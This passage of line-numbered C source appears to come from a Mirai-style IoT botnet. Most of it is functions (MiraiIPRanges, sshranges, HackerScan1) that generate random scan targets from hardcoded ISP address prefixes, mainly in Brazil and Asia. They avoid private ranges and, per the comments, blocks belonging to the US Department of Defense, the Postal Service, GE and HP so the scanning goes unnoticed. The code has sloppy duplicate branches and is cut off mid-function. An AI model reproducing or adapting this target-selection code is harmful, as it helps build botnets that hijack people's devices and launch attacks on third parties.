  1619. szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
  1620. }
  1621. if(randnum == 59)
  1622. {
  1623. szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
  1624. }
  1625. if(randnum == 60)
  1626. {
  1627. szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
  1628. }
  1629. if(randnum == 61)
  1630. {
  1631. szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
  1632. }
  1633. if(randnum == 62)
  1634. {
  1635. szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
  1636. }
  1637. if(randnum == 63)
  1638. {
  1639. szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
  1640. }
  1641. if(randnum == 64)
  1642. {
  1643. szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
  1644. }
  1645. if(randnum == 65)
  1646. {
  1647. szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
  1648. }
  1649. if(randnum == 66)
  1650. {
  1651. szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
  1652. }
  1653. if(randnum == 67)
  1654. {
  1655. szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
  1656. }
  1657. if(randnum == 68)
  1658. {
  1659. szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
  1660. }
  1661. if(randnum == 69)
  1662. {
  1663. szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
  1664. }
  1665. if(randnum == 70)
  1666. {
  1667. szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
  1668. }
  1669. if(randnum == 71)
  1670. {
  1671. szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
  1672. }
  1673. if(randnum == 72)
  1674. {
  1675. szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
  1676. }
  1677. if(randnum == 73)
  1678. {
  1679. szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
  1680. }
  1681. if(randnum == 74)
  1682. {
  1683. szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
  1684. }
  1685. if(randnum == 75)
  1686. {
  1687. szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
  1688. }
  1689. if(randnum == 76)
  1690. {
  1691. szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
  1692. }
  1693. if(randnum == 77)
  1694. {
  1695. szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
  1696. }
  1697. if(randnum == 78)
  1698. {
  1699. szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
  1700. }
  1701. if(randnum == 79)
  1702. {
  1703. szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
  1704. }
  1705. if(randnum == 80)
  1706. {
  1707. szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
  1708. }
  1709. if(randnum == 81)
  1710. {
  1711. szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
  1712. }
  1713. if(randnum == 82)
  1714. {
  1715. szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
  1716. }
  1717. if(randnum == 83)
  1718. {
  1719. szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
  1720. }
  1721. if(randnum == 84)
  1722. {
  1723. szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
  1724. }
  1725. if(randnum == 85)
  1726. {
  1727. szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
  1728. }
  1729. if(randnum == 86)
  1730. {
  1731. szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
  1732. }
  1733. if(randnum == 87)
  1734. {
  1735. szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
  1736. }
  1737. if(randnum == 88)
  1738. {
  1739. szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
  1740. }
  1741. if(randnum == 89)
  1742. {
  1743. szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
  1744. }
  1745. if(randnum == 90)
  1746. {
  1747. szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
  1748. }
  1749. if(randnum == 91)
  1750. {
  1751. szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
  1752. }
  1753. if(randnum == 92)
  1754. {
  1755. szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
  1756. }
  1757. if(randnum == 93)
  1758. {
  1759. szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
  1760. }
  1761. if(randnum == 94)
  1762. {
  1763. szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
  1764. }
  1765. if(randnum == 95)
  1766. {
  1767. szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
  1768. }
  1769. if(randnum == 96)
  1770. {
  1771. szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
  1772. }
  1773. if(randnum == 97)
  1774. {
  1775. szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
  1776. }
  1777. if(randnum == 98)
  1778. {
  1779. szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
  1780. }
  1781. if(randnum == 99)
  1782. {
  1783. szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
  1784. }
  1785. if(randnum == 100)
  1786. {
  1787. szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
  1788. }
  1789. if(randnum == 101)
  1790. {
  1791. szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
  1792. }
  1793. if(randnum == 102)
  1794. {
  1795. szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
  1796. }
  1797. if(randnum == 103)
  1798. {
  1799. szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
  1800. }
  1801. if(randnum == 104)
  1802. {
  1803. szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
  1804. }
  1805. if(randnum == 105)
  1806. {
  1807. szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
  1808. }
  1809. if(randnum == 106)
  1810. {
  1811. szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
  1812. }
  1813. if(randnum == 107)
  1814. {
  1815. szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
  1816. }
  1817. if(randnum == 108)
  1818. {
  1819. szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
  1820. }
  1821. if(randnum == 109)
  1822. {
  1823. szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
  1824. }
  1825. if(randnum == 110)
  1826. {
  1827. szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
  1828. }
  1829. if(randnum == 111)
  1830. {
  1831. szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
  1832. }
  1833. if(randnum == 112)
  1834. {
  1835. szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
  1836. }
  1837. if(randnum == 113)
  1838. {
  1839. szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
  1840. }
  1841. if(randnum == 114)
  1842. {
  1843. szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
  1844. }
  1845. if(randnum == 115)
  1846. {
  1847. szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
  1848. }
  1849. if(randnum == 116)
  1850. {
  1851. szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
  1852. }
  1853. if(randnum == 117)
  1854. {
  1855. szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
  1856. }
  1857. return inet_addr(ip);
  1858. }
  1859.  
  1860. static ipv4_t MiraiIPRanges(void){
  1861.  
  1862. uint32_t tmp;
  1863. uint8_t o1, o2, o3, o4;
  1864. do
  1865. {
  1866. tmp = rand_cmwc();
  1867. o1 = tmp & 0xff;
  1868. o2 = (tmp >> 8) & 0xff;
  1869. o3 = (tmp >> 16) & 0xff;
  1870. o4 = (tmp >> 24) & 0xff;
  1871. }
  1872. while (o1 == 127 || // 127.0.0.0/8 - Loopback
  1873. (o1 == 0) || // 0.0.0.0/8 - Invalid address space
  1874. (o1 == 3) || // 3.0.0.0/8 - General Electric Company
  1875. (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
  1876. (o1 == 56) || // 56.0.0.0/8 - US Postal Service
  1877. (o1 == 10) || // 10.0.0.0/8 - Internal network
  1878. (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
  1879. (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
  1880. (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
  1881. (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
  1882. (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
  1883. (o1 >= 224) || // 224.*.*.*+ - Multicast
  1884. (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  1885. );
  1886. char ip[16];
  1887. szprintf(ip, "%d.%d.%d.%d", o1, o2, o3, o4);
  1888. return INET_ADDR(o1,o2,o3,o4);
  1889. }
  1890.  
  1891. in_addr_t sshranges(){
  1892.  
  1893. ipState[0] = 0;
  1894. ipState[1] = 0;
  1895. ipState[2] = 0;
  1896. ipState[3] = 0;
  1897. ipState[0] = rand() % 255;
  1898. ipState[1] = rand() % 255;
  1899. ipState[2] = rand() % 255;
  1900. ipState[3] = rand() % 255;
  1901. int randnum = rand() % 40;
  1902. char ip[16];
  1903. if(randnum == 0)
  1904. {
  1905. szprintf(ip, "124.105.%d.%d", ipState[2], ipState[3]);
  1906. }
  1907. if(randnum == 1)
  1908. {
  1909. szprintf(ip, "119.93.%d.%d", ipState[2], ipState[3]);
  1910. }
  1911. if(randnum == 2)
  1912. {
  1913. szprintf(ip, "122.54.%d.%d", ipState[2], ipState[3]);
  1914. }
  1915. if(randnum == 3)
  1916. {
  1917. szprintf(ip, "122.52.%d.%d", ipState[2], ipState[3]);
  1918. }
  1919. if(randnum == 4)
  1920. {
  1921. szprintf(ip, "122.3.%d.%d", ipState[2], ipState[3]);
  1922. }
  1923. if(randnum == 5)
  1924. {
  1925. szprintf(ip, "5.78.%d.%d", ipState[2], ipState[3]);
  1926. }
  1927. if(randnum == 6)
  1928. {
  1929. szprintf(ip, "91.98.%d.%d", ipState[2], ipState[3]);
  1930. }
  1931. if(randnum == 7)
  1932. {
  1933. szprintf(ip, "49.150.%d.%d", ipState[2], ipState[3]);
  1934. }
  1935. if(randnum == 8)
  1936. {
  1937. szprintf(ip, "191.80.%d.%d", ipState[2], ipState[3]);
  1938. }
  1939. if(randnum == 9)
  1940. {
  1941. szprintf(ip, "191.81.%d.%d", ipState[2], ipState[3]);
  1942. }
  1943. if(randnum == 10)
  1944. {
  1945. szprintf(ip, "191.82.%d.%d", ipState[2], ipState[3]);
  1946. }
  1947. if(randnum == 11)
  1948. {
  1949. szprintf(ip, "191.83.%d.%d", ipState[2], ipState[3]);
  1950. }
  1951. if(randnum == 12)
  1952. {
  1953. szprintf(ip, "191.84.%d.%d", ipState[2], ipState[3]);
  1954. }
  1955. if(randnum == 13)
  1956. {
  1957. szprintf(ip, "191.85.%d.%d", ipState[2], ipState[3]);
  1958. }
  1959. if(randnum == 14)
  1960. {
  1961. szprintf(ip, "122.3.%d.%d", ipState[2], ipState[3]);
  1962. }
  1963. if(randnum == 15)
  1964. {
  1965. szprintf(ip, "210.213.%d.%d", ipState[2], ipState[3]);
  1966. }
  1967. if(randnum == 16)
  1968. {
  1969. szprintf(ip, "59.69.%d.%d", ipState[2], ipState[3]);
  1970. }
  1971. if(randnum == 17)
  1972. {
  1973. szprintf(ip, "122.52.%d.%d", ipState[2], ipState[3]);
  1974. }
  1975. if(randnum == 18)
  1976. {
  1977. szprintf(ip, "122.54.%d.%d", ipState[2], ipState[3]);
  1978. }
  1979. if(randnum == 19)
  1980. {
  1981. szprintf(ip, "119.93.%d.%d", ipState[2], ipState[3]);
  1982. }
  1983. if(randnum == 20)
  1984. {
  1985. szprintf(ip, "124.105.%d.%d", ipState[2], ipState[3]);
  1986. }
  1987. if(randnum == 21)
  1988. {
  1989. szprintf(ip, "125.104.%d.%d", ipState[2], ipState[3]);
  1990. }
  1991. if(randnum == 22)
  1992. {
  1993. szprintf(ip, "119.92.%d.%d", ipState[2], ipState[3]);
  1994. }
  1995. if(randnum == 23)
  1996. {
  1997. szprintf(ip, "119.91.%d.%d", ipState[2], ipState[3]);
  1998. }
  1999. if(randnum == 24)
  2000. {
  2001. szprintf(ip, "49.144.%d.%d", ipState[2], ipState[3]);
  2002. }
  2003. if(randnum == 25)
  2004. {
  2005. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  2006. }
  2007. if(randnum == 26)
  2008. {
  2009. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  2010. }
  2011. if(randnum == 27)
  2012. {
  2013. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  2014. }
  2015. if(randnum == 28)
  2016. {
  2017. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  2018. }
  2019. if(randnum == 29)
  2020. {
  2021. szprintf(ip, "12.188.%d.%d", ipState[2], ipState[3]);
  2022. }
  2023. if(randnum == 30)
  2024. {
  2025. szprintf(ip, "12.34.%d.%d", ipState[2], ipState[3]);
  2026. }
  2027. if(randnum == 31)
  2028. {
  2029. szprintf(ip, "179.105.%d.%d", ipState[2], ipState[3]);
  2030. }
  2031. if(randnum == 32)
  2032. {
  2033. szprintf(ip, "179.152.%d.%d", ipState[2], ipState[3]);
  2034. }
  2035. if(randnum == 33)
  2036. {
  2037. szprintf(ip, "189.29.%d.%d", ipState[2], ipState[3]);
  2038. }
  2039. if(randnum == 34)
  2040. {
  2041. szprintf(ip, "189.32.%d.%d", ipState[2], ipState[3]);
  2042. }
  2043. if(randnum == 35)
  2044. {
  2045. szprintf(ip, "189.33.%d.%d", ipState[2], ipState[3]);
  2046. }
  2047. if(randnum == 36)
  2048. {
  2049. szprintf(ip, "189.34.%d.%d", ipState[2], ipState[3]);
  2050. }
  2051. if(randnum == 37)
  2052. {
  2053. szprintf(ip, "189.35.%d.%d", ipState[2], ipState[3]);
  2054. }
  2055. if(randnum == 38)
  2056. {
  2057. szprintf(ip, "189.39.%d.%d", ipState[2], ipState[3]);
  2058. }
  2059. if(randnum == 39)
  2060. {
  2061. szprintf(ip, "189.4.%d.%d", ipState[2], ipState[3]);
  2062. }
  2063. if(randnum == 40)
  2064. {
  2065. szprintf(ip, "189.54.%d.%d", ipState[2], ipState[3]);
  2066. }
  2067. return inet_addr(ip);
  2068. }
  2069.  
  2070. in_addr_t HackerScan1(){
  2071.  
  2072. ipState[0] = 0;
  2073. ipState[1] = 0;
  2074. ipState[2] = 0;
  2075. ipState[3] = 0;
  2076. ipState[0] = rand() % 223;
  2077. ipState[1] = rand() % 255;
  2078. ipState[2] = rand() % 255;
  2079. ipState[3] = rand() % 255;
  2080. int randnum = rand() % 290;
  2081. char ip[16];
  2082. if(randnum == 0)
  2083. {
  2084. szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
  2085. }
  2086. if(randnum == 1)
  2087. {
  2088. szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
  2089. }
  2090. if(randnum == 2)
  2091. {
  2092. szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
  2093. }
  2094. if(randnum == 3)
  2095. {
  2096. szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
  2097. }
  2098. if(randnum == 4)
  2099. {
  2100. szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
  2101. }
  2102. if(randnum == 5)
  2103. {
  2104. szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
  2105. }
  2106. if(randnum == 6)
  2107. {
  2108. szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
  2109. }
  2110. if(randnum == 7)
  2111. {
  2112. szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
  2113. }
  2114. if(randnum == 8)
  2115. {
  2116. szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
  2117. }
  2118. if(randnum == 9)
  2119. {
  2120. szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
  2121. }
  2122. if(randnum == 10)
  2123. {
  2124. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  2125. }
  2126. if(randnum == 11)
  2127. {
  2128. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  2129. }
  2130. if(randnum == 12)
  2131. {
  2132. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  2133. }
  2134. if(randnum == 13)
  2135. {
  2136. szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
  2137. }
  2138. if(randnum == 14)
  2139. {
  2140. szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
  2141. }
  2142. if(randnum == 15)
  2143. {
  2144. szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
  2145. }
  2146. if(randnum == 16)
  2147. {
  2148. szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
  2149. }
  2150. if(randnum == 17)
  2151. {
  2152. szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
  2153. }
  2154. if(randnum == 18)
  2155. {
  2156. szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
  2157. }
  2158. if(randnum == 19)
  2159. {
  2160. szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
  2161. }
  2162. if(randnum == 20)
  2163. {
  2164. szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
  2165. }
  2166. if(randnum == 21)
  2167. {
  2168. szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
  2169. }
  2170. if(randnum == 22)
  2171. {
  2172. szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
  2173. }
  2174. if(randnum == 23)
  2175. {
  2176. szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
  2177. }
  2178. if(randnum == 24)
  2179. {
  2180. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2181. }
  2182. if(randnum == 25)
  2183. {
  2184. szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
  2185. }
  2186. if(randnum == 26)
  2187. {
  2188. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2189. }
  2190. if(randnum == 27)
  2191. {
  2192. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  2193. }
  2194. if(randnum == 28)
  2195. {
  2196. szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
  2197. }
  2198. if(randnum == 29)
  2199. {
  2200. szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
  2201. }
  2202. if(randnum == 30)
  2203. {
  2204. szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
  2205. }
  2206. if(randnum == 31)
  2207. {
  2208. szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
  2209. }
  2210. if(randnum == 32)
  2211. {
  2212. szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
  2213. }
  2214. if(randnum == 33)
  2215. {
  2216. szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
  2217. }
  2218. if(randnum == 34)
  2219. {
  2220. szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
  2221. }
  2222. if(randnum == 34)
  2223. {
  2224. szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
  2225. }
  2226. if(randnum == 35)
  2227. {
  2228. szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
  2229. }
  2230. if(randnum == 36)
  2231. {
  2232. szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
  2233. }
  2234. if(randnum == 37)
  2235. {
  2236. szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
  2237. }
  2238. if(randnum == 38)
  2239. {
  2240. szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
  2241. }
  2242. if(randnum == 39)
  2243. {
  2244. szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
  2245. }
  2246. if(randnum == 40)
  2247. {
  2248. szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
  2249. }
  2250. if(randnum == 41)
  2251. {
  2252. szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
  2253. }
  2254. if(randnum == 42)
  2255. {
  2256. szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
  2257. }
  2258. if(randnum == 43)
  2259. {
  2260. szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
  2261. }
  2262. if(randnum == 44)
  2263. {
  2264. szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
  2265. }
  2266. if(randnum == 45)
  2267. {
  2268. szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
  2269. }
  2270. if(randnum == 46)
  2271. {
  2272. szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
  2273. }
  2274. if(randnum == 47)
  2275. {
  2276. szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
  2277. }
  2278. if(randnum == 48)
  2279. {
  2280. szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
  2281. }
  2282. if(randnum == 49)
  2283. {
  2284. szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
  2285. }
  2286. if(randnum == 50)
  2287. {
  2288. szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
  2289. }
  2290. if(randnum == 51)
  2291. {
  2292. szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
  2293. }
  2294. if(randnum == 52)
  2295. {
  2296. szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
  2297. }
  2298. if(randnum == 53)
  2299. {
  2300. szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
  2301. }
  2302. if(randnum == 54)
  2303. {
  2304. szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
  2305. }
  2306. if(randnum == 55)
  2307. {
  2308. szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
  2309. }
  2310. if(randnum == 56)
  2311. {
  2312. szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
  2313. }
  2314. if(randnum == 57)
  2315. {
  2316. szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
  2317. }
  2318. if(randnum == 58)
  2319. {
  2320. szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
  2321. }
  2322. if(randnum == 59)
  2323. {
  2324. szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
  2325. }
  2326. if(randnum == 60)
  2327. {
  2328. szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
  2329. }
  2330. if(randnum == 61)
  2331. {
  2332. szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
  2333. }
  2334. if(randnum == 62)
  2335. {
  2336. szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
  2337. }
  2338. if(randnum == 63)
  2339. {
  2340. szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
  2341. }
  2342. if(randnum == 64)
  2343. {
  2344. szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
  2345. }
  2346. if(randnum == 65)
  2347. {
  2348. szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
  2349. }
  2350. if(randnum == 66)
  2351. {
  2352. szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
  2353. }
  2354. if(randnum == 67)
  2355. {
  2356. szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
  2357. }
  2358. if(randnum == 68)
  2359. {
  2360. szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
  2361. }
  2362. if(randnum == 69)
  2363. {
  2364. szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
  2365. }
  2366. if(randnum == 70)
  2367. {
  2368. szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
  2369. }
  2370. if(randnum == 71)
  2371. {
  2372. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  2373. }
  2374. if(randnum == 72)
  2375. {
  2376. szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
  2377. }
  2378. if(randnum == 73)
  2379. {
  2380. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  2381. }
  2382. if(randnum == 74)
  2383. {
  2384. szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
  2385. }
  2386. if(randnum == 75)
  2387. {
  2388. szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
  2389. }
  2390. if(randnum == 76)
  2391. {
  2392. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  2393. }
  2394. if(randnum == 77)
  2395. {
  2396. szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
  2397. }
  2398. if(randnum == 78)
  2399. {
  2400. szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
  2401. }
  2402. if(randnum == 79)
  2403. {
  2404. szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
  2405. }
  2406. if(randnum == 80)
  2407. {
  2408. szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
  2409. }
  2410. if(randnum == 81)
  2411. {
  2412. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  2413. }
  2414. if(randnum == 82)
  2415. {
  2416. szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
  2417. }
  2418. if(randnum == 83)
  2419. {
  2420. szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
  2421. }
  2422. if(randnum == 84)
  2423. {
  2424. szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
  2425. }
  2426. if(randnum == 85)
  2427. {
  2428. szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
  2429. }
  2430. if(randnum == 86)
  2431. {
  2432. szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
  2433. }
  2434. if(randnum == 87)
  2435. {
  2436. szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
  2437. }
  2438. if(randnum == 88)
  2439. {
  2440. szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
  2441. }
  2442. if(randnum == 89)
  2443. {
  2444. szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
  2445. }
  2446. if(randnum == 90)
  2447. {
  2448. szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
  2449. }
  2450. if(randnum == 91)
  2451. {
  2452. szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
  2453. }
  2454. if(randnum == 92)
  2455. {
  2456. szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
  2457. }
  2458. if(randnum == 93)
  2459. {
  2460. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  2461. }
  2462. if(randnum == 94)
  2463. {
  2464. szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
  2465. }
  2466. if(randnum == 95)
  2467. {
  2468. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2469. }
  2470. if(randnum == 96)
  2471. {
  2472. szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
  2473. }
  2474. if(randnum == 97)
  2475. {
  2476. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2477. }
  2478. if(randnum == 98)
  2479. {
  2480. szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
  2481. }
  2482. if(randnum == 99)
  2483. {
  2484. szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
  2485. }
  2486. if(randnum == 100)
  2487. {
  2488. szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
  2489. }
  2490. if(randnum == 101)
  2491. {
  2492. szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
  2493. }
  2494. if(randnum == 102)
  2495. {
  2496. szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
  2497. }
  2498. if(randnum == 103)
  2499. {
  2500. szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
  2501. }
  2502. if(randnum == 104)
  2503. {
  2504. szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
  2505. }
  2506. if(randnum == 105)
  2507. {
  2508. szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
  2509. }
  2510. if(randnum == 106)
  2511. {
  2512. szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
  2513. }
  2514. if(randnum == 107)
  2515. {
  2516. szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
  2517. }
  2518. if(randnum == 108)
  2519. {
  2520. szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
  2521. }
  2522. if(randnum == 109)
  2523. {
  2524. szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
  2525. }
  2526. if(randnum == 110)
  2527. {
  2528. szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
  2529. }
  2530. if(randnum == 111)
  2531. {
  2532. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2533. }
  2534. if(randnum == 112)
  2535. {
  2536. szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
  2537. }
  2538. if(randnum == 113)
  2539. {
  2540. szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
  2541. }
  2542. if(randnum == 114)
  2543. {
  2544. szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
  2545. }
  2546. if(randnum == 115)
  2547. {
